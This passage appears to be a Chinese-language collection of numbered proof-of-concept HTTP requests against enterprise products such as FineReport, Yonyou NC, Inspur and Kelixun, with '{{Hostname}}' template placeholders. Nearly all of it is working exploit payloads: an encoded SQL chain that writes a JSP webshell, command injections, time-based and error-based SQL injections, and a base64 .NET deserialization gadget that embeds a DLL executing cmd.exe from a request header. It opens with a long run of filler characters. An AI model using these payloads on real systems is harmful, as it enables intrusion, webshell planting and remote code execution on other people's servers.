sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss&n=${__f
r_locale__=sql('FRDemo',DECODE('%ef%bb%bf%61%74%74%61%63%68%0C%64%61%74%61%6
2%61%73%65%20%27%2F%68%6F%6D%65%2F%46%44%4C%2F%74%6F%6D%63%61%74%2D%
6C%69%6E%75%78%2F%77%65%62%61%70%70%73%2F%77%65%62%72%6F%6F%74%2F%68%
65%6C%70%2F%74%31%36%32%36%35%39%34%2E%6A%73%70%27%20%61%73%20%27%74
%31%36%32%36%35%39%34%27%3B'),1,1)}${__fr_locale__=sql('FRDemo',DECODE('%ef%bb%bf
%63%72%65%61%74%65%0C%74%61%62%6C%65%20%74%31%36%32%36%35%39%34%2E%7
4%74%28%64%61%74%61%7A%20%74%65%78%74%29%3B'),1,1)}${__fr_locale__=sql('FRDemo
',DECODE('%ef%bb%bf%49%4E%53%45%52%54%0C%69%6E%74%6F%20%74%31%36%32%36%
35%39%34%2E%74%74%28%64%61%74%61%7A%29%20%56%41%4C%55%45%53%20%28%27
%3C%25%43%6C%61%73%73%20%73%61%66%65%20%3D%20%43%6C%61%73%73%2E%66%6
F%72%4E%61%6D%65%28%22%73%75%6E%2E%6D%69%73%63%2E%55%6E%73%61%66%65%
22%29%3B%6A%61%76%61%2E%6C%61%6E%67%2E%72%65%66%6C%65%63%74%2E%46%69
%65%6C%64%20%73%61%66%65%43%6F%6E%20%3D%20%73%61%66%65%2E%67%65%74%4
4%65%63%6C%61%72%65%64%46%69%65%6C%64%28%22%74%68%65%55%6E%22%20%2B%
20%22%73%61%66%65%22%29%3B%73%61%66%65%43%6F%6E%2E%73%65%74%41%63%63
%65%73%73%69%62%6C%65%28%74%72%75%65%29%3B%73%75%6E%2E%6D%69%73%63%2
E%55%6E%73%61%66%65%20%75%6E%53%61%66%65%20%3D%20%28%73%75%6E%2E%6D%
69%73%63%2E%55%6E%73%61%66%65%29%20%73%61%66%65%43%6F%6E%2E%67%65%74
%28%6E%75%6C%6C%29%3B%62%79%74%65%5B%5D%20%64%61%74%61%42%79%74%65%7
3%20%3D%20%6A%61%76%61%78%2E%78%6D%6C%2E%62%69%6E%64%2E%44%61%74%61%
74%79%70%65%43%6F%6E%76%65%72%74%65%72%2E%70%61%72%73%65%42%61%73%65

```
%36%34%42%69%6E%61%72%79%28%72%65%71%75%65%73%74%2E%67%65%74%50%61%72%61%6D%65%74%65%72%28%22%64%61%74%61%22%29%29%3B%75%6E%53%61%66%65%2E%64%65%66%69%6E%65%41%6E%6F%6E%79%6D%6F%75%73%43%6C%61%73%73%28%6A%61%76%61%2E%69%6F%2E%46%69%6C%65%2E%63%6C%61%73%73%2C%20%64%61%74%61%42%79%74%65%73%2C%20%6E%75%6C%6C%29%2E%6E%65%77%49%6E%73%74%61%6E%63%65%28%29%3B%25%3E%27%29%3B'),1,1)} HTTP/1.1
Host: {{Hostname}}
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
```

27. 润乾报表 dataSphereServlet 前台任意文件上传

```
POST /center/api/installation/detection HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/105.0.1249.139 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json;charset=UTF-8

{"type":"environment","operate":"","machines":{"id":    "$(id > /opt/hikvision/web/components/tomcat85linux64.1/webapps/vms/static/1.txt)"}
```

28. 用友 NC querygoodsgridbycode 存在 SQL 注入漏洞

```
GET
/ecp/productonsale/querygoodsgridbycode.json?code=1%27%29+AND+9976%3DUTL_INADDR.GET_HOST_ADDRESS%28CHR%28113%29%7C%7CCHR%2898%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%7C%7CCHR%28113%29%7C%7C%28SELECT+%28CASE+WHEN+%289976%3D9976%29+THEN+1+ELSE+0+END%29+FROM+DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28118%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29--+dpxi
HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
```

29. 福建科立讯通信指挥调度平台 invite_one_member.php 远程命令执行漏洞

```
GET /api/client/audiobroadcast/invite_one_member.php?callee=1&roomid=`id>1.txt` HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=9d162ed31bcb785f6f5cb1fcc92dfff2
Upgrade-Insecure-Requests: 1
```

30. 天玥安全审计/ops/index.php SQL 注入漏洞

```
POST /ops/index.php?c=Reportguide&a=checkrn HTTP/1.1
Host: {{Hostname}}
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit (KHTML, like Gecko)
Cookie: bhsid=jr0pgqsb1r7qk43rr92o7s1ml2
Accept: */*
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Connection: close

checkname=123&tagid=123%20AND%207221%3D%28CASE%20WHEN%20%28ASCII%28SUBSTRING%28%28SELECT%20COALESCE%28CAST%28COUNT%28DISTINCT%28schemaname%29%29%20AS%20VARCHAR%2810000%29%29%3A%3Atext%2C%28CHR%2832%29%29%29%20FROM%20pg_tables%29%3A%3Atext%20FROM%201%20FOR%201%29%29%3E49%29%20THEN%20%28SELECT%207221%20FROM%20PG_SLEEP%285%29%29%20ELSE%207221%20END%29--%20sYZC
```

31. 飞讯云 WMS /MyDown/MyImportData 前台 SQL 注入

```
GET /MyDown/MyImportData?opeid=' WAITFOR DELAY '0:0:5'-- AtpN HTTP/1.1
Host: ip
```

32. 科讯一卡通管理系统 dormitoryHealthRanking 存在 SQL 注入漏洞

```
GET /api/dormitoryHealthRanking?building=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--
HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

33. 浪潮云财务系统 bizintegrationwebservice.asmx 命令执行漏洞

```
POST /cwbase/gsp/webservice/bizintegrationwebservice/bizintegrationwebservice.asmx
HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/GetChildFormAndEntityList"
cmd: whoami
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetChildFormAndEntityList xmlns="http://tempuri.org/">
      <baseFormID>string</baseFormID>
      <baseEntityID>string</baseEntityID>

<strFormAssignment>AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3Jtcy
wgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU
2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BeEhvc3QrU3RhdGUBAAAAEVByb
3BlcnR5QmFnQmluYXJ5BwICAAAACQMAAAAPAwAAAMctAAACAAEAAAD/////AQAAAAAAAAAEA
QAAAH9TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3QsIG1z
Y29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW4
9Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAZfaXRlbXMFX3NpemUIX3ZlcnNpb24FAAAICAkCAAAACgA
AAAoAAAAQAgAAABAAAAAJAwAAAAkEAAAACQUAAAAJBgAAAAkHAAAACQgAAAAJCQAAAAkKA
AAACQsAAAAJDAAAAA0GBwMAAAABAQAAAAEAAAAHAgkNAAAADA4AAABhU3lzdGVtLldvcmtm
bG93LkNvbXBvbmVudE1vZGVsLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgU
HVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUEAAAAalN5c3RlbS5Xb3JrZmxvdy5Db21wb
25lbnRNb2RlbC5TZXJpYWxpemF0aW9uLkFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3IrT2JqZWN0U3
Vycm9nYXRlK09iamVjdFNlcmlhbGl6ZWRSZWYCAAAABHR5cGULbWVtYmVyRGF0YXMDBR9TeXN0
```

ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyDgAAAAkPAAAACRAAAAABBQAAAAQAAAAJEQA
AAAkSAAAAAQYAAAAEAAAACRMAAAAJFAAAAAEHAAAABAAAAAkVAAAACRYAAAABCAAAAAQAA
AAJFwAAAAkYAAAAAQkAAAAEAAAACRkAAAAJGgAAAAEKAAAABAAAAAkbAAAACRwAAAABCwA
AAAQAAAAJHQAAAAkeAAAABAwAAAAcU3lzdGVtLkNvbGxlY3Rpb25zLkhhc2h0YWJsZQcAAAAKTG
9hZEZhY3RvcgdWZXJzaW9uCENvbXBhcmVyEEhhc2hDb2RlUHJvdmlkZXIISGFzaFNpemUES2V5cwZ
WYWx1ZXMAAAMDAAUFCwgcU3lzdGVtLkNvbGxlY3Rpb25zLklDb21wYXJlciRTeXN0ZW0uQ29sbG
VjdGlvbnMuSUhhc2hDb2RlUHJvdmlkZXII7FE4PwIAAAAKCgMAAAAJHwAAAAkgAAAADw0AAAAAE
AAAAk1akAADAAAABAAAAP//AAC4AAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAIAAAAAOH7oOALQJzSG4AUzNIVRoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuI
GluIERPUyBtb2RlLg0NCiQAAAAAAAAAUEUAAEwBAwBrydRkAAAAAAAAAADgAAIhCwELAAAIAAA
ABgAAAAAAAN4mAAAAIAAAAEAAAAAAABAAIAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAgAAAA
AIAAAAAAADAECFAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAACQJgAASwAAAA
BAAACoAgAAAAAAAAAAAAAAAAAAAAAAABgAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAgAAAAAAAAAAAAAAggAABIAAA
AAAAAAAAAAAAudGV4dAAAAOQGAAAAIAAAAAgAAAACAAAAAAAAAAAAAAAAAAgAABgLnJzc
mMAAACoAgAAAEAAAAAEAAAACgAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAADAAAAABgA
AAAgAAAA4AAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAwCYAAAAAABIAAA
AAgAFADAhAABgBQAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAbMAMAwwAAAAEAABECKAMAAAooBAAACgoGbwUAAApvBgA
ACgZvBwAACm8IAAAKcwkAAAoLB28KAAAKcgEAAHBvCwAACgZvDAAACm8NAAAKchEAAHBvDgA
ACgwHbwoAAApyGQAAcAgoDwAACm8QAAAKB28KAAAKF28RAAAKB28KAAAKF28SAAAKB28KAA
AKFm8TAAAKB28UAAAKJgdvFQAACm8WAAAKDQZvBwAACglvFwAACt4DJt4ABm8HAAAKbxgAAA
oGbwcAAApvGQAACioAARAAAAAAIgCHqQADDgAAAUJTSkIBAAEAAAAAAAwAAAB2NC4wLjMwM
zE5AAAAAAUAbAAAALwBAAAjfgAAKAIAAHQCAAAjU3RyaW5ncwAAAACcBAAAJAAAACNVUwDAB
AAAEAAAACNHVUlEAAAA0AQAAJAAAAAjQmxvYgAAAAAAAACAAABRxQCAAkAAAAA+iUzABYAA
AEAAAAOAAAAAgAAAAEAAAAZAAAAAgAAAAEAAAABAAAAAwAAAAACgABAAAAAAAGACkAIgA
GAFYANgAGAHYANgAKAKgAnQAKAMAAnQAKAOgAnQAOABsBCAEOACMBCAEKAE8BnQAOAIYBZ
wEGAK8BIgAGACQCGgIGAEQCGgIGAGkCIgAAAAAAAQAAAAAAAQABAAAAEAAXAAAABQABAAEA
UCAAAAAAhhgwAAoAAQARADAADgAZADAACgAJADAACgAhALQAHAAhANIAIQApAN0ACgAhAPU
AJgAxAAIBCgA5ADAACgA5ADQBKwBBAEIBMAAhAFsBNQBJAJoBOgBRAKYBPwBZALYBRABBAL0B
MABBAMsBSgBBAOYBSgBBAAACSgA5ABQCTwA5ADECUwBpAE8CWAAxAFkCMAAxAF8CCgAxAG
UCCgAuAAsAZQAuABMAbgBcAASAAAAAAAAAAAAAAAAAAAAAAAJQAAAAEAAAAAAAAAAAAAAB
ABkAAAAAAAQAAAAAAAAAAAAAABMAnQAAAAAABAAAAAAAAAAAAAAAAQAiAAAAAAAAAAA8
TW9kdWxlPgBrd3V3YWNwdy5kbGwARQBtc2NvcmxpYgBTeXN0ZW0AT2JqZWN0AC5jdG9yAFN5c3
RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYn
V0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBrd3V3YWNwdwBTeXN0ZW0uV2ViAEh0
dHBDb250ZXh0AGdldF9DdXJyZW50AEh0dHBTZXJ2ZXJVdGlsaXR5AGdldF9TZXJ2ZXIAQ2xlYXJFcnJv
cgBIdHRwUmVzcG9uc2UAZ2V0X1Jlc3BvbnNlAENsZWFyAFN5c3RlbS5EaWFnbm9zdGljcwBQcm9jZ
XNzAFByb2Nlc3NTdGFydEluZm8AZ2V0X1N0YXJ0SW5mbwBzZXRfRmlsZU5hbWUASHR0cFJlcXVlc3
QAZ2V0X1JlcXVlc3QAU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkAE5hbWVWYWx1ZUNv
bGxlY3Rpb24AZ2V0X0hlYWRlcnMAZ2V0X0l0ZW0AU3RyaW5nAENvbmNhdABzZXRfQXJndW1lbnR
zAHNldF9SZWRpcmVjdFN0YW5kYXJkT3V0cHV0AHNldF9SZWRpcmVjdFN0YW5kYXJkRXJyb3IAc2V
0X1VzZVNoZWxsRXhlY3V0ZQBTdGFydABTeXN0ZW0uSU8AU3RyZWFtUmVhZGVyAGdldF9TdGFuZ
GFyZE91dHB1dABUZXh0UmVhZGVyAFJlYWRUb0VuZABXcml0ZQBGbHVzaABFbmQARXhjZXB0aW

9uAAAAD2MAbQBkAC4AZQB4AGUAAAdjAG0AZAAABy8AYwAgAAAAAAA2IZXU/G1oT7AM+EyvNp
dOAAi3elxWGTTgiQMgAAEEIAEBCAiwP19/EdUKOgQAABIRBCAAEhUEIAASGQQgABIhBCABAQ4EI
AASJQQgABIpBCABDg4FAAIODg4EIAEBAgMgAAIEIAASMQMgAA4IBwQSERIdDg4IAQAIAAAAAAAe
AQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBAAAAuCYAAAAAAAAAAAAAAziYAAAAgAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAMAmAAAAAAAAAABfQ29yRGxsTWFpbgBtc2NvcmVlLmRsbAAA
AAAA/yUAIAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAAAEAAAA
AAEgAAABYQAAATAIAAAAAAAAAAAAAATAI0AAAAVgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8
AAAAAAL0E7/4AAAEAAAAAAAAAAAAAAAAAAAAAAAD8AAAAAAAAABAAAAAIAAAAAAAAAAAAAAA
AAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAAACQABAAAAAFQAcgBhAG4AcwBs
AGEAdABpAG8AbgAAAAAAAAACwBKwBAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbw
AAAIgBAAABADAAMAAwADAAMAA0AGIAMAAAAACwAAgABAEYAaQBsAGUARABlAHMAYwByAGk
AcAB0AGkAbwBuAAAAAAAAgAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAAw
AC4AMAAuADAALgAwAAAAPAANAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABrAHcAdQB
3AGEAYwBwAHcALgBkAGwAbAAAAAAAAKAACAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaA
B0AAAAIAAAAEQADQABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAABrAHcAdQ
B3AGEAYwBwAHcALgBkAGwAbAAAAAAAANAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkA
bwBuAAAAMAAuADAALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAH
MAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAACAAAAwAAADgNgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAEDwAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9s
ZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBiEAAAD+AVN5c3RlbS5Ma
W5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLkJ5dGVb
XSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb

2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHksIG1zY29ybGliLC
BWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjN
TYxOTM0ZTA4OV1dBAAAAAYiAAAATlN5c3RlbS5Db3JlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1c
mU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAQAAAABwAAAAkDAA
AACgkkAAAACggIAAAAAAoICAEAAAABEQAAAA8AAAAGJQAAAPUCU3lzdGVtLkxpbnEuRW51bWV
yYWJsZStXaGVyZVNlbGVjdEVudW1lcmFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uUmVmbGVjdGlvbi5
Bc3NlbWJseSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJs
aWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuS
UVudW1lcmFibGVgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bH
R1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYi
wgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU
2MTkzNGUwODldXQQAAAAJIgAAABASAAAABwAAAAkEAAAACggkoAAAACggIAAAAAAoICAEAAAA
BEwAAAA8AAAAGKQAAAN8DU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXaGVyZVNlbGVjdEVudW1lc
mFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWA
xW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmF
sLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQu
MC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0s
W1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtVZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2
NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI
3N2E1YzU2MTkzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV
0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQFAAAAAcAA
AAJBQAAAAoJLAAAAAoICAAAAAAKCAgBAAAAARUAAAAPAAAABi0AAADmAlN5c3RlbS5MaW5xLk
VudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLkNvbGxlY3Rpb2
5zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQ
uMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV
1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRv
a2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4w
LjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0
EAAAACSIAAAAQFgAAAAcAAAAJBgAAAAkwAAAACTEAAAAKCAgAAAAACggIAQAAAAEXAAAADwA
AAAYyAAAA7wFTeXN0ZW0uTGlucS5FbnVtZXJhYmxlK1doZXJlU2VsZWN0RW51bWVyYWJsZUl0ZXJ
hdG9yYDJbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ld
XRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uT2JqZWN0LCBtc
2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI
3N2E1YzU2MTkzNGUwODldXQQAAAAJIgAAABAYAAAABwAAAAkHAAAACgk1AAAACggIAAAAAAo
ICAEAAAABGQAAAA8AAAAGNgAAAClTeXN0ZW0uV2ViLlVJLldlYkNvbnRyb2xzLlBhZ2VkRGF0YVNvd
XJjZQQAAAAGNwAAAE1TeXN0ZW0uV2ViLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1d
HJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGEzYRAaAAAABwAAAAkIAAAACAgAAA
AACAgKAAAACAEACAEACAEACAgAAAAARsAAAAPAAAABjkAAAApU3lzdGVtLkNvbXBvbmVudE1v
ZGVsLkRlc2lnbi5EZXNpZ25lclZlcmIEAAAABjoAAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1b
HR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAcAAAABQAAAA0
CCTsAAAAICAMAAAAJCwAAAAEdAAAADwAAAAY9AAAANFN5c3RlbS5SdW50aW1lLlJlbW90aW5n
LkNoYW5uZWxzLkFnZ3JlZ2F0ZURpY3Rpb25hcnkEAAAABj4AAABLbXNjb3JsaWIsIFZlcnNpb249NC4
wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5EB
4AAAABAAAACQkAAAAQHwAAAAIAAAAJCgAAAAkKAAAAECAAAACAAAABkEAAAACUEAAAAEJ

AAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAgAAAAhEZWxlZ2F0ZQdtZXR
ob2QwAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c
3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCUIAAAAJQwAAAAEo
